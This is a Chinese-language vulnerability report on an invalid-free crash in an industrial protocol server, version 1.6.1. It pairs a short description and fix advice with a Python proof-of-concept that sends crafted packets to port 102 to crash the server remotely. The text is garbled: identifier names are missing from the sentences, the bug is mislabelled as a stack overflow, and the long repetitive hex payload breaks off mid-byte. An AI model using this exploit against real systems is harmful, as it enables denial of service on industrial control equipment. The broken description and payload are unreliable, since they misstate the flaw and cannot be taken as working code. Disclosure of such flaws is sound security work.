漏洞概述 漏洞名称: Oversized RptID can trigger invalid free of a stack-backed visible string in the report send path #2 漏洞类型: 堆栈溢出（Stack-based buffer overflow） 影响版本: v1.6.1 影响范围: 远程拒绝服务（Remote Denial of Service） 修复方案: 修复堆栈溢出问题，增加输入验证 漏洞详情 漏洞描述: 当客户端发送一个过大的 到报告控制块（RCB）并启用报告时，服务器接受写入请求并在发送报告时崩溃。崩溃发生在 函数中，其中 被包装为一个临时 可见字符串，并传递给 。如果实际的 比堆栈缓冲区容量大，通用的可见字符串更新逻辑会进入调整大小和释放路径，导致无效的 调用，从而引发崩溃。 根本原因: 在 中， 的 指向一个局部数组，而不是堆分配。当 尝试调整大小并释放缓冲区时，会导致无效的 调用。 修复方案 建议修复: 1. 不要将堆栈支持的可见字符串传递给 。 2. 在 RCB 写入路径中拒绝过大的 值。 POC 代码 ```python #!/usr/bin/env python3 import socket import sys import time HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 102 OPT_C = bytes.fromhex( "70 09 00 00 " "11 e0 00 00 01 00 c9 01 5d c2 02 60 01 c1 02 00 01" ) AARQ_INITIATE = bytes.fromhex( "03 00 00 00 " "02 7f 80 00 " "50 02 02 06 13 01 00 10 01 02 14 02 02 03 02 00 01 34 02 00 01 " "c1 3c 31 01 09 01 03 00 01 01 a2 01 01 01 04 00 00 00 01 02 04 00 00 00 01 " "34 10 30 07 02 02 00 00 02 02 00 01 00 00 00 02 01 01 " "30 10 02 01 03 00 00 05 20 2a 22 02 01 30 04 00 02 51 01 " "50 54 30 5c 02 01 01 a0 57 00 05 " "a2 07 00 05 20 2a 22 02 01 " "a2 07 00 05 20 2a 01 07 01 " "a3 03 02 01 0c " "a5 00 00 04 20 01 07 07 " "a5 00 02 02 0c " "be 2f 20 2d 02 01 03 a0 20 00 26 00 00 7d 01 01 01 02 01 05 01 03 01 0a " "a4 10 00 01 01 02 03 05 f1 00 02 0c 03 ee 00 00 00 00 00 00 79 0f 10" ) prefix = bytes.fromhex( "03 00 02 06 02 07 00 01 00 00 01 01 02 02 5f 30 02 02 50 02 01 03 a0 02 54 a0 02 02 50 " "02 01 02 02 02 02 00 02 01 37 31 31 a0 01 26 1a 11 73 69 60 70 7c 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 47 05 09 4f 4